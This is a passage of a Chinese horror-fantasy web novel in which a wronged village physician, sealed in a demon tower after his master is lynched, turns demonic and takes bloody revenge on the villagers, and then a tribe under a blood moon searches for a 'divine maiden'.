师傅以前告诉他,那是平安,可现在……
平安,好一个平安!
绳子浸透了血,变成暗紫色的绞索,拿走了师傅和徒弟的命。
血月爬上柳梢时,河滩上的鹅卵石开始渗出暗红水珠。
“你以为这小畜生能跑?”
“好路不走,非要过来送死,既然他那么喜欢你,就被你一块去死!”
大汉揪着童子发髻往青石路上拖。
“丢塔里去!”
孩子晕倒,蜷缩的身体在石板上刮出蜿蜒血痕,像条被剥了皮的细蛇。
恶灵塔的铁门在月光下泛着蓝光。
安维被推入锁妖塔时,后脑狠狠撞在潮湿的砖墙上。
疼痛炸开的瞬间,
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他听见自己骨骼的闷响,像是有人在他颅骨里敲钟。
黑暗里,腐烂的味道钻进鼻腔,像是无数具尸体在耳边低语。
他伸手摸到黏腻的苔藓,指缝间滑过某种蠕动的东西。
是蛆虫,还是怨灵?
他分不清。
“呵……”
他低低地笑了,笑声在塔壁间回荡,像一群饿鬼在学他。
他想起小徒弟最后看他的眼神——那双总是亮晶晶的眼睛,此刻盛满了恐惧和茫然。
孩子的腿被踢断了,骨头刺破皮肉,白森森的,像一根折断的树枝。
“安大夫,您救救他……”
有人曾这样哀求过他。
可现在呢?
现在,他救不了任何人。
指甲深深抠进砖缝,指节因用力而发白。
他的呼吸越来越急促,胸腔里像是塞了一团烧红的炭,烫得他喉咙发紧。
“凭什么……”
他喃喃自语,声音嘶哑得像砂纸摩擦。
凭什么好人不得好死?
凭什么恶人却能逍遥?
锁妖塔的怨气缠绕上来,像无数只冰冷的手,抚摸他的脸,钻进他的衣领,在他耳边低语……
“医仙?我呸!”
锁链哗啦作响间,他听见塔外村妇的嗤笑
“装模作样把脉,说不定指头底下还藏砒霜呢!”
安维的指甲狠狠抠进砖缝。
他想起师傅颤抖的手腕,老人被送到火葬的地方的时候,那些暴民就是这么说。
可当时师傅枯枝般的手指间明明只夹着银针,针尾还系着给他驱蚊的艾草绒……
当时他们是这么说师傅的……
现在是他,师傅,你说的救人,或许是错的……
“恨吗?”
安维的瞳孔骤然收缩。
恨?
不,不仅仅是恨。
是比恨更锋利的东西。
是比死亡更冰冷的东西!
啊!!!!!!!
安维发出悲鸣,带着无尽的痛苦绝望,眼睛被红色圈禁。
他的指甲不知何时变得漆黑、尖锐,在砖墙上刮出刺耳的声响。
“对……”
血月移过天顶时,塔底的怨气凝成实质。
有冰冷的手指探入安维七窍。
他耳边响起师傅教过的:“怒伤肝,悲胜怒...”
可此刻占据他胸腔的早已不是怒,是看见小徒弟被踢断的腿骨刺出皮肉时,那种让舌尖发麻的腥甜。
他缓缓抬头,血月的光透过塔顶的缝隙,照在他的脸上。
他的眼睛,彻底被猩红吞噬……
“要报仇吗?”
黑影在他耳畔呢喃,声音像百具枯骨在陶瓮里摇晃。
安维的瞳孔开始渗血,他看见自己指甲变黑变长,指缝间渗出腥甜的液体。
“要报仇吗?”
塔底的黑暗突然有了实体,冰凉的手指抚过安维裂开的眼角。
他听见自己臼齿咬碎的声音,混着塔外朦胧的月光。
当铁门轰然关闭时,安维终于看清黑暗中传说里的那对血月般的眼睛。
那根本不是什么恶灵,是他自己的,在青铜祭器上的倒影!
指甲变黑的速度快得惊人。安维盯着自己暴涨的指爪穿透掌心。
带出的却不是血,而是粘稠如药汁的黑雾。
38. 侵蚀
恶灵塔的青铜门在子夜时分发出垂死的呻吟。
那道千年不腐的门扉先是浮现出蛛网状的裂纹,继而从内部渗出粘稠的黑血。
黑血顺着门缝蜿蜒而下,滴落在青石板上时,竟发出“滋滋”的腐蚀声,将石面灼出无数细小的孔洞。
塔身开始震颤,砖石簌簌剥落,仿佛整座塔都在恐惧着即将破封而出的东西。
安维站在塔内的黑暗中,指尖深深嵌入掌心。
他的白衣早已被塔内的怨气浸透,衣料纤维里渗出粘稠的黑雾,在身后拖曳出三尺有余的阴影。
最骇人的是他的十指。
原本修剪整齐的指甲此刻暴涨三寸,呈现出青铜器氧化后的幽绿色泽。
“咔嚓——”
门轴断裂的声响像是折断的颈骨。
锈蚀的铜屑如暴雨般迸溅,在月光下闪烁着细碎的幽光。
安维踏出第一步时,脚下的砖石便如腐木般塌陷。
“该死,这小崽种忘丢进去了。”
“真是命大。”
小童子趴在锁妖塔前的青石板上,十指抠进砖缝里。
指甲翻裂了也不觉得疼,血珠顺着指缝渗进石缝。
“师父……师父!“
孩子的嗓子已经哑了,喊出来的声音像破风箱漏气。
塔门缝隙里渗出的黑雾缠上自己手腕,凉……
像师父冬天给他捂手的铜炉。
可铜炉是暖的,师父的手也是暖的。
“小畜生嚎什么丧!”
穿靛蓝短打的汉子一脚踹在孩子腰眼上。
小童子像只破麻袋般滚出去,恍惚间看见师父刚才的地方写着两个字,
血色的字在田地上缓缓蔓延,崎岖,留下的痕迹浸染,混着沙石,地方都变成带着腥味的褐色痕迹,但依稀能辨认出来。
是……
是去年师父教他认的当归,师父说,这是一个药材。
当...归...”
孩子突然想起师父被拖走时,被铁链捆着的手腕还在流血,却用尽全力朝他比口型:“当...归...”
可这不是药材,是“当须归去”。
师父,早就知道自己会死……
“呸!装什么师徒情深!”
绛紫马面裙的妇人朝童子脸上啐了一口。
“那老不死的往我男人药里掺砒霜,活该喂妖怪!”
“没有...师父没有...”
小童子蜷缩着去擦眼睛,手背蹭得全是血。
他忽然摸到怀里半块硬饼,是昨晚师父掰给他的,饼上还留着师父的指痕。
穿羊皮袄的壮汉一把抢过饼,掰碎了扔进泥里:
“晦气东西!”他的靴底碾着饼渣,就像半月前碾碎师父珍藏的犀角粉。
小童子突然不哭了。
他看见饼渣里露出半片纸角。
是师父的字迹!
最上面写得是朱砂。
他突然想起师傅说的,
“朱砂安神,砒霜攻毒,用错一味便是杀人。”
是她,是她自己用错了药!
“他那个师父也不是个好东西,还有这个这个杀千刀的!”
王寡妇叉腰站在药碾旁,鞋底还粘着师父的白发。
“他师父当年给我儿媳接生时,手往不该摸的地方......”
“你胡说!”
小童子突然扑上去咬她手腕,像只发狂的幼兽,腿骨更是在地上划出一道深深的痕迹。
他尝到血腥味,和师父喂他喝的药一个味道。
王寡妇尖叫着甩开他。
孩子摔在石碾上,后腰撞得生疼。
可他的手死死攥着那张药方,纸边割破掌心也不松开。
血珠滴在“当归“二字上,墨迹突然晕开,变成师父教过的另一种符文。
“小杂种还敢瞪眼!”
靛蓝短打汉子揪住童子发髻往青石板上撞。
就在孩子天灵盖要撞碎的刹那,一只苍白的手突然从塔门缝隙里伸出。
小童子面向恶灵塔,看呆了眼睛,愣在那……
那只手的手指修长,本该是执笔写方的手,此刻却生着三寸长的黑甲,指尖滴落的液体把石板蚀出蜂窝状的孔洞。
锁妖塔轰然炸裂。
晒药场上,穿靛蓝短打的汉子正高举斧头。斧刃距离小童子的天灵盖仅有三寸之遥,月光在锋刃上凝成一道凄冷的银线。
孩子满脸血污,却奇异地保持着平静,干裂的嘴唇微微翕动,依稀能辨出“师父“二字。
飞溅的青铜碎片中,安维的身影如鬼魅浮现。
他的白衣浸透黑雾,每走一步都在地上留下腐蚀的脚印。
最骇人的是他的眼睛,眼白完全化作血红色,瞳孔却缩成两道竖线。
“你刚才说...”
安维的声音像千百根针在陶瓮里碰撞,尖锐。
“我师父摸你儿媳?“
王寡妇的尖叫卡在喉咙里。
她脸上挂着惊恐,却被安维一击致命。
安维的指甲轻轻划过药碾,炼药的石碾瞬间裂成六瓣。
碾槽里那枚当归飘起来,枯叶突然舒展,叶脉里渗出鲜红的汁液。
“当归。”
安维接住落叶,指尖一搓就化作血雾,
“是当归的时候了。”
“安...安大夫?“
汉子的声音颤颤巍巍,红色的眼睛,不详,不详的人,是那人回来复仇了!
怎么会?!
他怎么会回来!
啊啊啊!!!!!!
惨叫声划破天际,血珠在月华中划出妖异的轨迹。
安维看着眼前的场面,血液洒满大地,布满诡异和恐怖……
每一滴血里都映着师父临终前写的那个扭曲的“安“字。
他在塔里看见,这根本不是汉字,而是恶灵塔底镇魂符的起笔!
汉子踉跄后退时踩到自己的影子,后脑勺重重磕在药碾上。
他看见安维的白衣下摆无风自动,那些浸透衣料的黑雾正化作无数细小的手臂形状。
“你接骨用的柳枝夹板...”
安维的声音沙哑得不成人声,却诡异地保持着问诊时的平和语调:
“是我师父熬了三夜削出来的。”
汉子的惨叫刚冲出喉咙就变成了“咕噜”声。
安维的指甲如五柄薄刃,精准地沿着他肋骨的缝隙切入。
当指尖触到仍在跳动的心脏时,汉子听见自己骨骼碎裂的脆响,和他打断小童子手臂时的声音一模一样。
“救命!救...”
妇人的呼救戛然而止。
她低头看见自己的绣花鞋正被黑雾缠绕,鞋面上那朵并蒂莲的金线一根根崩断。
更可怕的是,她发现自己的脚趾正在融化,像蜡烛般滴滴答答落在地上。
安维的指甲划过她咽喉时,妇人捂着喷血的脖子倒退。
绣花鞋踩到自己掉落的发簪,后脑勺正撞在药碾的青铜残片上。
安维的身影在血月下时隐时现。
当他经过晾药架时,那些陈年的草药突然全部复活!
枯黄的艾草舒展叶片,发霉的当归重现血色,就连早已干瘪的蛇胆都开始鼓胀跳动。
妇人惊恐地发现,这些药材排列的形状,赫然是李大夫当年为她诊脉时的手指轨迹。
“你难产那夜...“
安维的指尖轻轻点在她眉心,动作温柔得像在测量体温:“师父用金针度穴救了你们母子。“
妇人的眼珠突然暴凸
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。
她看见自己的皮肤下有什么东西在蠕动,那形状越来越清晰。
是当年那老医生救人时,埋在她穴位里的金针,此刻正一根接一根地从血肉中钻出。
当最后一根针从她天灵盖破体而出时,王寡妇死了。
她死之前眼中满是恐怖和害怕,甚至有一点祈求。
可惜,没用。
安维嗤笑,这个时候不骂他要害人了。
“去年重阳...”
“你儿子高热惊厥,是师父用三更露水煎药救的。”
安维眼里是仇恨执念,痛深似海。
“你们不配得到我师父的救治。我也不该救你们,我的徒弟也不是你们随便打骂的‘小畜牲’。”
田野上突然下起血雨。
每一滴雨珠里都映着扭曲的“安“字,落地时竟发出师父教他们背方歌时的音调。
小童子蜷缩在石碾旁,看着师傅的黑甲划过那些村民的眉心。
当最后一个活人变成尸体,安维身上的黑雾突然散去。
他踉跄着跪在小童子面前,暴涨的指甲渐渐缩回原状。
血红的眼白褪去时,两颗浑浊的血泪砸在孩子手心里。
“师...傅...“小童子有些害怕,怯生生地举起染血的药方。
安维看清符文的瞬间,整条河突然沸腾。
第七具尸体倒下时,天空突然暗了下来。
血月的光芒聚焦在一片的尸体,河对岸的芦苇丛沙沙作响。
一双雪白的赤足踏过血泊,足踝上的青铜铃铛发出空灵的声响。
不是云遮月,而是月亮本身在褪色。
皎洁的银辉被某种粘稠的猩红取代,月光落在地上竟发出“滴答“声响,像是稀释的血浆。
河水开始沸腾。
不是寻常的翻滚,整条河变成了巨大的心脏。河底浮起的白骨相互碰撞。
最令人毛骨悚然的是,这些白骨都在向岸边移动,像被无形的丝线牵引着。
安维看见师父的尸体浮出水面。
白发如水草般飘散,心口插着祠堂那柄祭祀用的青铜匕首。
当血月的光芒照在尸体上时,匕首突然“嗡“地颤动起来,刀柄上镶嵌的八卦镜片片龟裂。
师父的眼皮颤了颤,缓缓睁开。
那双总是温和的眼睛此刻布满血丝,瞳孔呈现出与安维相同的竖瞳。
更可怕的是他的嘴,干瘪的嘴唇蠕动着。
但安维只听见远处恶灵塔里万千怨灵的和声。
“血…月…”
恶灵塔的废墟突然炸开。
不是砖石飞溅,而是无数漆黑如墨的怨气喷涌而出。
这些怨气在空中扭曲变形,时而化作缠绕着铁链的枯骨,时而变成插满银针的肉块。它们共同的特点是都长着与安维相同的指甲,指尖滴落的液体将地面腐蚀。
“你以为能驾驭我们?“
万千怨灵的声音在安维脑中炸响。
他的皮肤表面浮现出蛛网般的黑纹,这些纹路如有生命般游走,最终在后背汇聚成诡异的图案。
正是恶灵塔底残缺的镇魂符。
剧痛让安维单膝跪地。他看见走马灯般的幻象。
师父被铁钎刺穿琵琶骨,小童子的膝盖在药碾下粉碎,自己被困在塔底时那些啃咬脚踝的怨灵。
每个画面都伴随着撕心裂肺的痛楚,仿佛有千万根银针在骨髓里游走。
“不。“
安维突然笑了。他折断自己一根指甲,黑血喷涌的瞬间,那些血液竟在空中凝成细如牛毛的血针。
这些针排列的阵型,赫然是他独创的“鬼门十三针“。
“是你们...“
血针暴雨般射向怨灵,每一针都精准刺入它们的眉心:“要臣服于我。“
39. 惊绝
在那恶灵塔阴森诡谲的幽暗中,恶灵如噩梦的具象。
周身翻滚着令人灵魂颤栗、胃中翻涌的浓烈黑气。
那黑气仿若无数张牙舞爪的狰狞触手,以一种疯狂且扭曲的姿态,铺天盖地地朝着安维猛扑而去。
所经之处,空气仿佛被腐蚀,发出“滋滋”的声响,散逸出刺鼻的腐臭。
安维的面色在这恐怖的压迫下,惨白得如同一张薄纸,豆大的汗珠不受控制地从额头滚滚滑落,在他沾满血污与尘土的脸上划出一道道痕迹。
他眼神中便燃烧起决绝的火焰。
“我不能死,我还有未竟之事,我一定要活下去!”
每一次奋力挥舞,都倾尽了全身每一丝力量,仿佛将自己的生命也注入其中。
利刃撕裂空气,发出尖锐刺耳的呼啸,在这死寂的塔内回荡。
可即便如此,面对恶灵如汹涌潮水般一波又一波永不停歇的攻击,他的抵抗也仅仅只是勉强支撑。
如同狂风暴雨中摇摇欲坠的孤舟。
“该死,这攻击何时是个头,我的力气快要耗尽了……”
安维心中焦急万分,每一次抵挡恶灵的攻击,都让他愈发清晰地感受到死亡的逼近。
随着时间如死神的脚步般缓缓流逝,安维的体力在这高强度的对抗中渐渐消耗殆尽。
每一个动作都变得愈发迟缓沉重。
恶灵似乎察觉到了他的虚弱,那黑洞般的眼洞中闪烁着嗜血的光芒。
瞅准时机,如鬼魅般疾冲向安维,猛地发出一击。
这一击蕴含着无尽的恶意与力量,了。
直接将安维像颗破布娃娃般重重击飞出去。
一声沉闷的撞击声后,一口鲜血如泉涌般从他口中喷溅而出,而后顺着他的嘴角缓缓滑落,滴落在满是尘土的地面,洇出一小片暗色。
“遭了……这一切……”
安维瘫软在地,四肢仿若被注入了千斤重铅,沉重得无法挪动分毫,意识在黑暗的边缘徘徊。
“我不能就这么死,小徒弟还等着我……”
求生的意志让他拼尽最后一丝,手臂因用力而青筋暴起,肌肉在破旧的衣衫下微微颤抖。
他艰难地支撑着身体,每一个动作都伴随着钻心的疼痛。
全身的骨头几乎碎成齑粉。
“哪怕只有一线生机,我也要试一试……”
他就这般苦苦支撑着,在绝望的深渊中苦苦挣扎,仿佛下一秒就会被黑暗彻底吞噬。
就在他的精神即将彻底崩溃,陷入万劫不复的绝望之时,一道刺目耀眼的光芒如开天利剑。
毫无预兆地猛地射进塔内。
那光芒亮得让人无法直视,仿佛要将这无尽的黑暗瞬间驱散。
紧接着,恶灵像是被一股无形却强大得可怕的力量紧紧钳制住,原本疯狂的攻势戛然而止。
它那扭曲的身躯剧烈扭动着,发出阵阵尖锐刺耳的嘶吼。
似在抗拒着这股神秘力量的束缚。
“这……这是怎么回事?”
“难道真的是上天眷顾我?”
安维趁着这短暂的喘息之机,大口大口地喘着粗。
心中满是劫后余生的庆幸,恍惚间以为是自己命不该绝。
上天终于怜悯,给予了他这一丝侥幸的庇佑。
“不管怎样,只要能活下去,就还有希望……”
就在此时,一个意想不到的身影悄然出现在他的视线边缘。
诡异而冰冷的红芒倾洒在这片沦为人间炼狱的村落。
安维置身其中,四周弥漫着令人窒息的血腥气,那是无数生命消逝后的惨烈余味。
脚下的土地被鲜血浸泡得泥泞不堪,每迈出一步,都伴随着“滋滋”的声响。
仿佛大地在痛苦地呻吟。
安维抬起头,看到宛楪那熟悉的身影出现在塔口时,心中顿时涌起一阵恐惧好和怀疑。
他的眼神中闪过一丝慌乱,联想到刚刚那突如其来的救援。
难道是他暗中出手相助?
可这个念头刚一浮现,心中的恶念便如野草般疯狂滋生。
他害怕不是,害怕宛楪和那些村民以昂,害怕她会杀了自己。
毕竟她的眼睛才是睁开就是红色,他是后面变成的。
恐惧逐渐蒙蔽了他的心智,让他产生了一种想要杀了宛楪以绝后患的冲动。
血月如同一轮诡异的魔盘,悬于天际,地上满是横七竖八的尸体。
鲜血汩汩流淌,在街道上汇聚成蜿蜒的血河,散发出浓烈刺鼻的血腥气
诉说着刚刚发生的惨烈。
安维孤身立于这片修罗场中央,胸膛剧烈起伏,粗重的喘息声在死寂的空气中回荡。
他双眼布满血丝,那是愤怒与杀戮交织后的疲惫,可眼中残余的杀意仍未消散。
身上溅满了鲜血,衣衫破碎不堪,在凛冽的风中猎猎作响。
就在这死寂与绝望交织的氛围中,宛楪的身影鬼魅般悄然靠近。
安维瞬间如遭雷击,全身的肌肉刹那间紧绷如铁,每一根神经都被拉至极限。
他的呼吸陡然急促起来,心脏在胸腔内疯狂跳动,仿佛要冲破胸膛的束缚。
“你……你……”
他的双眼瞪得滚圆,死死盯着宛楪,眼神中充满了警惕与恐惧。
在这混乱不堪的绝境里,他不敢赌!
安维眼中陡然闪过一丝狠厉。那目光犹如饿狼锁定猎物,透着不顾一切的决绝。
他咬着牙,强忍着全身如撕裂般的剧痛,猛地发力站起身来。
双腿因用力过度而微微颤抖,却仍以一种决然的姿态,浑身血迹斑斑,伤口处的鲜血正源源不断地渗出,洇红了他破旧不堪的衣衫。
然而,刚刚与恶灵激战后的伤痛并未让他退缩。
反而在下一刻,如同一头发狂的野兽,朝着宛楪直冲冲地奔了过去。
每一步落下,都带着沉闷的声响。
溅起地面上的尘土。
那气势汹汹的模样,似要将心中所有的恐惧、愤怒与不甘,都在这一击之中宣泄而出。
而宛楪,静静地伫立在原地。
宛如一尊冰冷的雕像。
她眼神平静如水,波澜不兴,澄澈的眼眸中没有丝毫慌乱,仿佛对安维那扑面而来的强烈杀意浑然不觉。
衣袂在微风中轻轻飘动,整个人散发着一种超脱尘世的宁静。
就在安维即将冲到她面前,那闪烁着寒光的利刃眼看就要刺向她咽喉的千钧一发之际。
宛楪终于有所动作。
她只是轻轻抬起手,动作优雅而缓慢,像是在拂去空气中的一粒尘埃。
紧接着,她随意地一挥,看似轻描淡写的举动。
仿佛蕴含着无尽的力量。
刹那间,一股无形的力量以宛楪为中心。
如排山倒海般向安维汹涌袭来。
这股力量来势汹汹,所经之处,空气仿佛被瞬间抽空,发出尖锐的呼啸声。
安维只感觉一股无可抗拒的巨力猛地撞向自己,整个人如同被碾压的碎掉的蚂蚁,瞬间失去平衡。
他的身体如断线的风筝般向后倒飞出去。
在空中划过一道弧线,地面因他的撞击而发出沉闷的声响。
紧接着,一口鲜血不受控制地从他口中狂喷而出,在半空中化作一片血雾。
他的身体蜷缩成一团,四肢无力地瘫软在地上,双眼紧闭,整个人奄奄一息。
生命的气息正随着鲜血的流逝而逐渐消散。
他原本以为宛楪只是阻止他复仇。
可此刻,当宛楪那血红色的眼眸映入他的眼帘,一股彻骨的寒意从脚底直窜上头顶,令他全身的寒毛都竖了起来。
宛楪静静地伫立着,仿佛与这阴森的血月融为一体。
周围的空气都为之震颤。
她那平静得近乎冷漠的面容,没有丝毫情绪的波澜,却令人胆寒。
安维的嘴唇不受控制地微微颤抖,牙齿也开始轻轻打战,喉咙干涩得仿佛要燃烧起来。
他的双手下意识地握成拳头,手背上的青筋因过度用力而高高鼓起。
“你……究竟知晓些什么?这一切背后,到底隐藏着什么秘密?”
安维艰难地挤出这句话,声音因为极度紧张而变得颤抖。
仿佛从喉咙深处硬生生地撕扯出来。
他的目光紧紧锁住宛楪,仿佛只要稍一松懈,就会错过她脸上任何一丝可能透露秘密的表情。
在这充满未知与恐惧的时刻,宛楪的出现,如同黑暗中突然闪现的一道神秘光影。
既让他看到了一丝解开谜团的希望,又让他陷入了更深的紧张与不安之中。
风,临近她身边时,却像是遇到了无形的屏障。
他惊恐地看着宛楪,眼中满是绝望与恐惧。
此时的他,心中充满了后悔,害怕宛楪会迁怒于他的徒弟。
他用尽最后一丝力气,虚弱地说道。
“求你……看在我救过你一命的份上,放过我的徒弟……”
然而,宛楪依旧静静地立着,没有说话。
那发丝如墨般漆黑,与她血红色的眼眸形
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成了鲜明而诡异的对比。
就在安维以为自己必死无疑,满心绝望之时,他突然发现自己身上那因为恶灵侵蚀而产生的异样变化,正慢慢地恢复正常。
下一瞬,安维感觉到五脏六腑仿佛都在这猛烈的撞击中移位。
口中鲜血狂喷而出,眼前一阵发黑。
在这生死边缘的恍惚之际,他心中猛地一惊,一股寒意从脊梁骨直窜上头顶。
几乎是下意识地,他用尽最后一丝力气,缓缓将头转向宛楪的方向。
他的视线模糊不清。
可宛楪那模糊的身影,此刻却深深刺痛他的双眼。
刚刚那股排山倒海般将他击飞的无形力量,如此强大且神秘。
他瞬间明白,他现在的变化必定是宛楪所为。
回想起方才宛楪只是轻轻抬手一挥,便有这般毁天灭地的威力,安维心中对她的恐惧如决堤的洪水般蔓延开来。
这种恐惧,并非源于简单的武力压制,而是来自对宛楪深不可测力量的敬畏。
以及对她未知意图的深深不安。
他不知道宛楪为何拥有如此强大的力量,更不明白她接下来还会做出什么。
与此同时,敬畏之情也在他心中悄然滋生。
安维意识到,眼前的女子绝非等闲之辈。
在这残酷的现实面前,他深深感受到自己的渺小与无力。
他在这冰冷的地面上,忍不住瑟瑟发抖。
他看着宛楪,犹豫再三,终究还是忍不住。
干涩的嘴唇一直颤抖。
“你……是不是知道什么?”
安维看见眼前的人缓缓抬起手,动作轻柔却又透着不容置疑的力量。
她那纤细修长的手指,在血月的映照下泛着淡淡的光晕,仿佛蕴含着某种神秘的魔力。
他指向了一个方向。
安维顺着他所指的方向望去。
远处是一片朦胧的,被一层厚重的墨色幕布所笼罩,散发着令人心悸的气息。
黑暗中,隐隐约约有影影绰绰的轮廓,似是树木在风中摇曳,又似是未知的形体在蠢蠢欲动。
那黑暗无声地吸引着他,却又让他本能地心生畏惧。
他的心中顿时五味杂陈。
那黑暗中究竟潜藏着什么?
是更加可怕的危险,还是另一场无法预料的灾难?
这种不确定性让他的手心布满了冷汗,后背也被汗水浸湿,黏腻的感觉让他浑身不自在。
另一方面,心底又莫名涌起一丝期待。
宛楪所指的方向仿佛是黑暗中透出的一缕微光,尽管微弱,却仿佛承载着他在这绝望深渊中的最后一丝希望。
也许,在那片黑暗的尽头……
会有解开一切谜团、拯救他们于水火的答案。
安维下意识地转头看向身旁的小童子。小童子那原本粉嘟嘟的稚嫩脸庞,此刻已被恐惧与迷茫彻底占据。
他的眼睛瞪得大大的,犹如两颗受惊的小鹿般的眼睛,满是惊恐与无助。
眼神中透露出对周围这血腥、诡异一切的深深畏惧,他像是想说些什么,却又因为害怕而不敢出声。
安维看着小童子这副模样,心中一阵心疼。
刚才的变化让他恢复神志,眼睛的血色也慢慢褪去。
他深吸一口气,试图让自己略微平静下来。
那口气在胸腔中短暂停留后,缓缓吐出……
随后,他伸出手,动作轻柔却又带着一种安抚的力量。
轻轻握住小童子那同样颤抖的小手。
小童子的手小小的,却因为恐惧而变得冰凉。
安维紧紧握住,似乎想要将自己的温暖传递给小童子,给予他一些勇气。
接着,安维带着小童子,朝着宛楪所指的方向缓缓走去。
他不知道要去哪,但是他没有选择的余地。
他们的脚步略显沉重,每一步都像是踩在自己的心跳上。
血月洒在他们身上,将他们的身影拉得长长的。
映在满是鲜血与泥泞的地面上。
随着他们渐行渐远,身影在血月的映照下逐渐变小。
仿佛随时都会被这黑暗所吞噬。
而宛楪那神秘而强大的形象,深深地烙在了安维的心底。
挥之不去。
血红色的眼眸,
平静却又透着无尽深意的面容,
周身散发的神秘气场……
安维知道,从这一刻起,宛楪将成为他生命中一个至关重要、却又充满谜团的存在,指引着他走向未知的命运。
40. 寻找神女
夜色如墨,浓稠得化不开,沉甸甸地压在这片荒芜的土地上。
一行人在这阴森的氛围中艰难前行,每个人的脸上都写满了疲惫与绝望。
狂风呼啸着席卷而过。
“这都跑了大半个北国了,连根神女的影子都没见着,咱回去咋交代啊!”
一个身材魁梧、满脸络腮胡的大汉,猛地将手中的长刀狠狠地插入身旁的树干。
震得树叶簌簌落下,他的双眼瞪得滚圆,满是焦虑与愤怒。
“你别催了,我们也想赶紧找到,不过这事不好糊弄,神女上哪找去,子虚乌有的事。”
“就是说啊!”
“说什么咱们部落的土地冒犯了神灵,非得献上神女祈福,不然就要踏平咱们部落”
“把咱都贬为奴隶!”
还有官府那边那帮人欺人太甚,这上哪找神女去!我看我们找不到,直接变成流民算了!”
一个瘦高个双手抱头,蹲在地上,声音里带着哭腔。
“要是那传说是真的,咱们这么做也会引来灾祸的。”
“哼,要是真有得罪神灵这回事,那也是他北国皇帝造的孽,凭啥要咱们部落来承担!”一个老者气得浑身发抖,用手中的拐杖狠狠地戳着地面。
部落被乱世打压,而那高高在上的皇帝,却醉心于长生不老之术,整日沉迷在神鬼之说的虚幻梦境中。
底下的大小官员们,也纷纷跟风腐败,为了迎合皇帝,搜刮民脂民膏,大兴各种所谓祈福祭祀的荒唐活动。
在他们的折腾下,百姓们的生活更是雪上加霜。
苦啊……
远处,血色的残阳如一只巨大而诡异的眼睛,冷冷俯瞰着世间的一切。
将这片饱经沧桑的土地染得愈发阴森可怖。
这支队伍,就在这样的氛围中艰难行进。
部落早已被乱世的洪流打压得摇摇欲坠。
男丁大多在战乱中被征去充军,生死未卜。
剩下的老弱妇孺,在这艰难的世道里苦苦挣扎。
生活如同一潭绝望的死水。
为首的是个面色冷峻的中年男子,他眉头紧锁,眼神中满是忧虑与无奈。
长叹一声说道:
“大家都别抱怨了,照顾好剩下的人吧,要是交不出神女,整个部落都得遭殃,到时候咱们的妻儿老小都得受苦。”
藏在深山里的古老部落,却因为官宦的一句“找不到神女就是你们之过”强征土地,落得个流离失所的下场。
“咱们这次出来,肩负着部落存亡的重任,无论如何都得找到神女,不然……”
他顿了顿,脸上闪过一丝痛苦,“不然咱们就只能眼睁睁看着部落被灭啊!”
他们不过是任人宰割的蝼蚁,而寻找神女,或许是部落唯一的一丝生机,尽管这希望如风中残烛般渺茫。
众人唉声叹气、一筹莫展。
四处弥漫着一股腐臭的味道,像是无数尸体在地下腐烂发酵。
地面上残留着干涸的血迹,是大地受伤后留下的狰狞伤疤。
队伍中,一个年轻的族人,名叫阿勇,了。
他的目光无意间扫过周围的环境,心中陡然升起一股强烈的不安。
原本就阴森的氛围,此刻似乎愈发压抑,有无数双眼睛在黑暗中窥视着他们。
风刮过,发出如泣如诉的声音,是冤魂在哀号。
阿勇的脚步不自觉地慢了下来。
“你们……有没有觉得,这地方不对劲?”
他咽了口唾沫,喉咙干涩得厉害。
众人听到他的话,纷纷停下脚步,警惕地环顾四周。
“怎么不对劲了?别自己吓自己!”
一个族人故作镇定地说道,但微微颤抖的声音还是暴露了他内心的紧张。
阿勇指着地上的血迹,声音颤抖得更厉害了:
“你们看这血,都干涸成这样了,周围却安静得可怕,连只鸟叫声都没有。还有这风,吹得人心里发毛。”
众人顺着他指的方向看去,脸色都变得煞白。
“啊!!!!!!”
一声惊恐至极的尖叫瞬间划破了寂静的夜空,如同利箭般刺进每个人的耳膜。
众人下意识地顺着叫声的方向望去,脸色都变得煞白。
天空中血月宛如流淌着鲜血的圆盘,悬在漆黑的天幕之上。
散发着诡异而冰冷的光芒。
血红色的月光肆意倾泻,将整个世界都染成了不祥的颜色,大地披上了一层血色的殓衣。
阿勇双腿一软,“扑通”一声跌坐在地,双眼直勾勾地盯着血月,脸上写满了恐惧与绝望。
“这……这是什么啊?”
他的声音颤抖得厉害,几乎听不出原本的音调。
老一辈的族人中,有人想起了古老的传说,面色如土。
“传说中,当世间陷入无尽的罪孽与混乱,惹怒了天地神灵,血月便会降临。”
“那是神灵的怒火,预示着灾难与毁灭。血月之下,恶鬼横行,阴阳颠倒,世间万物都将遭受劫难。”
老人声音带着颤抖,本以为这些只是传说,如今看见这样的景象,心脏翻转般跳动着。
这话一出,众人心中的恐惧如汹涌的潮水般泛滥。
他们仅存的一丝勇气吞噬殆尽。
他们深知,自己来到了了一个巨大而恐怖的地方!
一些年轻的族人,听闻传说后,吓得浑身发抖,嘴里不停念叨着祈求神灵饶恕的话语。
血红色的余晖洒在众人前行的道路上,为他们铺上了一条通往绝望的红毯。
“完了!”
“完了!咱们肯定是被神灵诅咒了!”
“说不定下一秒恶鬼就会从地下钻出来把咱们撕成碎片!”
一个年轻的族人惊慌失措地大喊,声音尖锐得变了调。
“会不会是咱们寻找神女的举动冒犯了其他邪祟?”
另一个人带着哭腔,身体抖得像筛糠。
“这是来索命的!”
“我不想死啊!要是血月真带来了灭顶之灾,咱们怎么办?”
“肯定也逃不掉……”
一位妇人泣不成声,绝望的泪水在脸颊上肆意流淌。
“也许这是上天给咱们的警告,可咱们能怎么办?回去也是死路一条,皇帝不会放过咱们部落,留在这里又要面对这可怕的血月……”
一个中年男子捶打着地面,眼中满是无助。
此时,部落首领强忍着内心的恐惧,努力让自己镇定下来,站到高处大声喊道:
“大家冷静!都别慌!”
“这血月虽看着可怕,但传说未必就是真的!咱们部落经历了那么多磨难,哪次不是挺过来了?”
然而众人惊慌失措,完全听不进首领的话。
有人甚至转身想要逃离这个可怕的地方,却被恐惧攫住双腿,无法挪动分毫。
“难道……”
“难道咱们真的逃不过这场劫难?”
首领见此,再次提高音量,试图压过众人的嘈杂声:
“咱们出来寻找神女,是为了拯救部落!要是现在自己先乱了阵脚,那才真的没救了!”
“说不定这血月只是个巧合,大家振作起来!”
“对,我们振作一下!”一个年轻的姑娘带着哭腔说道,泪水
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在眼眶中打转,她的身体不停地抽搐。
恐惧的情绪依旧在人群中蔓延,如同无法遏制的瘟疫。
首领看着眼前的血月,心中的恐惧攀爬,丝丝缠绕到心脏的瓣膜。
他眼中流出泪,双手合十祈祷,整个人陷入悲怆和碾展的绝境。
千年的部落,相久的族人,如果神明在上,就救救他们吧……
血月的笼罩下,众人如同待宰的羔羊。仿佛陷入了无尽的恐慌循环之中。
原地转圈,眼神迷茫……
